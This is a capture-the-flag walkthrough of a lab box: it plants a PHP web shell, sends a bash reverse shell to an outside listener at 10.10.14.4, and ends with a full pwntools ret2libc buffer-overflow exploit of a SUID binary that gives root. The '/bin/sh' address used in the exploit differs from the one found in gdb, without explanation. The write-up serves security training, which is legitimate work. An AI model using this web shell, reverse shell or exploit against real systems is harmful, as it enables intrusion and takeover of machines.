In the console we got through Joomla, if we go to /var/www/html we see a folder called files containing an lcars.zip. This is the same thing we saw on the website running on port 443, so this folder may be synced. We can write inside the files folder, so we can drop a malicious PHP file and try to run it from the website on port 443.

8bfdc454:/var/www/html/files$ echo '<?php system($_GET["cmd"]); ?>' > script.php

Now, if we go to the website, open script.php and pass a command via GET in the cmd parameter, we see the result

https://10.10.10.61/files/script.php?cmd=ls

To send the reverse shell we’ll use the usual one (bash -c “bash -i >& /dev/tcp/10.10.14.4/443 0>&1”), but we’ll run it through a URL encoder so it doesn’t cause problems

https://10.10.10.61/files/script.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.4%2F443%200%3E%261%22

We listen with netcat

nc -nlvp 443
Parameter explanation
  • n: Skip DNS resolution
  • l: Enable netcat’s listen mode
  • v: Verbose mode
  • p: Finally, p specifies the port number we’ll be listening on

We get the connection!

listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 37558
bash: cannot set terminal process group (1531): Inappropriate ioctl for device
bash: no job control in this shell
www-data@enterprise:/var/www/html/files$ 

Before continuing with the escalation, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm

export TERM=xterm

Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash

export SHELL=bash

root

Looking for files with SUID permissions, we see one called lcars (like the plugin), owned by root and with SUID permissions, so if we run it we’re running it as root

www-data@enterprise:/$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
.....
-rwsr-xr-x 1 root root 38984 May 18  2017 /bin/mount
-rwsr-xr-x 1 root root 12152 Sep  8  2017 /bin/lcars
-rwsr-xr-x 1 root root 30800 Aug 11  2016 /bin/fusermount

We’ll copy the lcars binary to our machine to analyze it in detail. To do so, we’ll start a Python server on port 8000 in the /bin folder on the target machine with python3 -m http.server 8000, and download it to our machine with wget 10.10.10.61/lcars

Buffer overflow

To analyze the binary we’ll use Ghidra.

Once in Ghidra, thanks to auto analyze, we can see the binary’s code. First we’ll look at the contents of the main function.

undefined4 main(void)

{
  char local_19 [9];
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  setresuid(0,0,0);
  startScreen();
  puts("Enter Bridge Access Code: ");
  fflush(_stdout);
  fgets(local_19,9,_stdin);
  bridgeAuth(local_19);
  return 0;
}

In the main function we see a character variable called local_19 declared with a maximum buffer size of 9. Then the startScreen() function is called, which takes care of displaying the program’s banner.

void startScreen(void)

{
  puts("");
  puts("                 _______ _______  ______ _______");
  puts("          |      |       |_____| |_____/ |______");
  puts("          |_____ |_____  |     | |    \\_ ______|");
  puts("");
  puts("Welcome to the Library Computer Access and Retrieval System\n");
  return;
}

Going back to main, on the next line after startScreen() it shows the following text.

puts(“Enter Bridge Access Code: “);

The value we enter is passed to the bridgeAuth() function

bridgeAuth(local_19);

The bridgeAuth function has the following code

void bridgeAuth(char *param_1)

{
  char local_32;
  undefined uStack_31;
  undefined uStack_30;
  undefined uStack_2f;
  undefined uStack_2e;
  undefined uStack_2d;
  undefined uStack_2c;
  undefined uStack_2b;
  undefined uStack_2a;
  int local_14;
  undefined4 local_10;
  
  local_32 = 'p';
  uStack_31 = 0x69;
  uStack_30 = 99;
  uStack_2f = 0x61;
  uStack_2e = 0x72;
  uStack_2d = 100;
  uStack_2c = 0x61;
  uStack_2b = 0x31;
  local_10 = 9;
  uStack_2a = 0;
  local_14 = strcmp(param_1,&local_32);
  if (local_14 == 0) {
    main_menu();
  }
  else {
    puts("\nInvalid Code\nTerminating Console\n");
  }
  fflush(_stdout);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

The uStack variables are assigned values starting with 0x, which indicates the number after 0x is in hex. Knowing this, we can convert the values being assigned to plain text.

local_32 = 'p';
uStack_31 = 'i';
uStack_30 = 'c';
uStack_2f = 'a';
uStack_2e = 'r';
uStack_2d = 'd';
uStack_2c = 'a';
uStack_2b = '1';

Next, it checks whether our input equals picarda1 with the following code.

local_14 = strcmp(param_1, &local_32);

Si la comprobación anterior da 0 significará que las cadenas son iguales, en caso contrario las cadenas no serían iguales.

if (local_14 == 0) {
  main_menu();
}
else {
  puts("\nInvalid Code\nTerminating Console\n");
}

When we enter the correct access code, it takes us to the main_menu() function

void main_menu(void)

{
  undefined4 local_d8 [52];
  
  local_d8[0] = 0;
  startScreen();
  puts("\n");
  puts("LCARS Bridge Secondary Controls -- Main Menu: \n");
  puts("1. Navigation");
  puts("2. Ships Log");
  puts("3. Science");
  puts("4. Security");
  puts("5. StellaCartography");
  puts("6. Engineering");
  puts("7. Exit");
  puts("Waiting for input: ");
  fflush(_stdout);
  __isoc99_scanf(&DAT_00010f92,local_d8);
                    /* WARNING: Could not find normalized switch variable to match jumptable */
                    /* WARNING: This code block may not be properly labeled as switch case */
  unable();
  return;
}

The main_menu() function is the one that shows us the options menu after entering the correct code (picarda1)

We can’t see which functions each option leads to, but looking into other functions Ghidra reports, we see there is a function called disableForcefields

void disableForcefields(void)

{
  undefined local_d4 [204];
  
  startScreen();
  puts("Disable Security Force Fields");
  puts("Enter Security Override:");
  fflush(_stdout);
  __isoc99_scanf(&DAT_00010ec4,local_d4);
  printf("Rerouting Tertiary EPS Junctions: %s",local_d4);
  return;
}

The messages Disable Security Force Fields and Enter Security Override: are the ones shown in option 4, so we can guess this is the code for option 4

LCARS Bridge Secondary Controls – Main Menu:

  1. Navigation
  2. Ships Log
  3. Science
  4. Security
  5. StellaCartography
  6. Engineering
  7. Exit Waiting for input:

4

Disable Security Force Fields Enter Security Override:

Let’s analyze this function. First of all, a variable is created to store our input, with a maximum buffer size of 204.

undefined local_d4 [204]

Then it returns the message Rerouting Tertiary EPS Junctions along with our input

printf("Rerouting Tertiary EPS Junctions: %s",local_d4);

If we try running the binary and entering lots of characters:

Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault  ./lcars

We get a segmentation fault, so we can try to carry out a buffer overflow

We’ll use gdb-peda to see it better: gdb ./lcars -q. Once in, we enter r to run it and fill the option 4 input again to see whether we overwrite the registers.

[----------------------------------registers-----------------------------------]
EAX: 0x2de 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcd7c --> 0x38cf2a00 
EDX: 0x1 
ESI: 0x56555d30 (<__libc_csu_init>:	push   ebp)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf80 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

We see EIP is indeed 0x41414141. As we saw earlier, what comes after 0x is in hex, and 41 in hex is an A, so we’ve managed to overwrite it.

Now the goal is to find how many characters we need to send to overwrite EIP and thereby control its value. gdb-peda has a utility for finding the number of characters needed. First we create a string with pattern_create, which, although it looks random, has a purpose: it has no repetitions, which will later let us find the number of characters needed to reach EIP

> gdb ./lcars -q
Reading symbols from ./lcars...
(No debugging symbols found in ./lcars)
gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$ r
Enter Security Override:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A


[----------------------------------registers-----------------------------------]
EAX: 0x216 
EBX: 0x73254125 ('%A%s')
ECX: 0xffffcd7c --> 0xaab80000 
EDX: 0x1 
ESI: 0x56555d30 (<__libc_csu_init>:	push   ebp)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x41422541 ('A%BA')
ESP: 0xffffcf80 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...)
EIP: 0x25412425 ('%$A%')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

Now it reports that EIP is ($%$A%). We could count manually or use the following command, which counts automatically

gdb-peda$ pattern offset $eip
625026085 found at offset: 212

It reports that we need 212 characters to start overwriting EIP. We can check that 212 characters are indeed needed like this:

First we generate a string of 212 ‘A’s and add 4 ‘B’s. If gdb-peda got it right, EIP should be ‘BBBB’

Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xfa 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcd7c --> 0xa714c800 
EDX: 0x1 
ESI: 0x56555d30 (<__libc_csu_init>:	push   ebp)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf80 --> 0x0 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

It worked: EIP is ‘BBBB’. This means we can now manipulate EIP.

The next step is to check the protections

Protections

ASLR: Address Space Layout Randomization. This protection isn’t part of the program itself; it’s a system protection, and it’s rare to find it disabled on current systems. To see whether it’s enabled, we cat /proc/sys/kernel/randomize_va_space. If the content is 0, it’s disabled; if it isn’t 0, it’s enabled

ww-data@enterprise:/var/www/html/files$ cat  /proc/sys/kernel/randomize_va_space

0

Another way to check whether ASLR is enabled would be to loop over the libc address and see whether it changes

www-data@enterprise:/bin$ for i in `seq 0 20`; do ldd lcars | grep libc; done
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)

As we can see, it doesn’t change

Let’s check more protections with checksec.

checksec lcars
[*] '/home/d3b0o/Desktop/enterprise/lcars'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

NX is disabled, so we could create shellcode and put it on the stack to call it from EIP, but a ret2libc is simpler.

Diagram taken from (https://bufferoverflows.net/ret2libc-exploitation-example/)

To carry out the ret2libc we need the addresses of system, /bin/sh and, optionally, exit. We can find these addresses in different ways.

Since the machine has gdb, we can look up the addresses with gdb.

www-data@enterprise:/bin$ gdb ./lcars -q

(gdb) b *main
Breakpoint 1 at 0xc91

(gdb) r
Starting program: /bin/lcars 
Breakpoint 1, 0x56555c91 in main ()

(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>

(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e3faf0 <exit>

(gdb)  find &system,+9999999,"/bin/sh"
0xf7f70a0f

If we didn’t have gdb, we could use the following commands, but they don’t work on this machine because it doesn’t have the strings command.

#/bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

#system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

#exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
Exploit –> p32812

Now we can write the exploit. First of all, we create variables with the addresses we found and a variable with the number of characters we need to reach EIP. Then we put it all together, in the order mentioned above, and send it to the port that nmap reported as open and running this binary. Finally, we spawn an interactive shell.

from pwn import *

offset = 212
junk = b"A" * offset
system = p32(0xf7e4c060)
exit = p32(0xf7e3faf0)
sh = p32(0xf7f6ddd5)

payload = junk + system + exit + sh

host, port = "10.10.10.61", 32812

r = remote(host, port)

r.recvuntil(b"Enter Bridge Access Code:")
r.sendline(b"picarda1")
r.recvuntil(b"Waiting for input:")
r.sendline(b"4")
r.recvuntil(b"Enter Security Override")
r.sendline(payload)
r.interactive()

When we run it, we’re root!

> python3 main.py
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode
:
$ whoami
root
$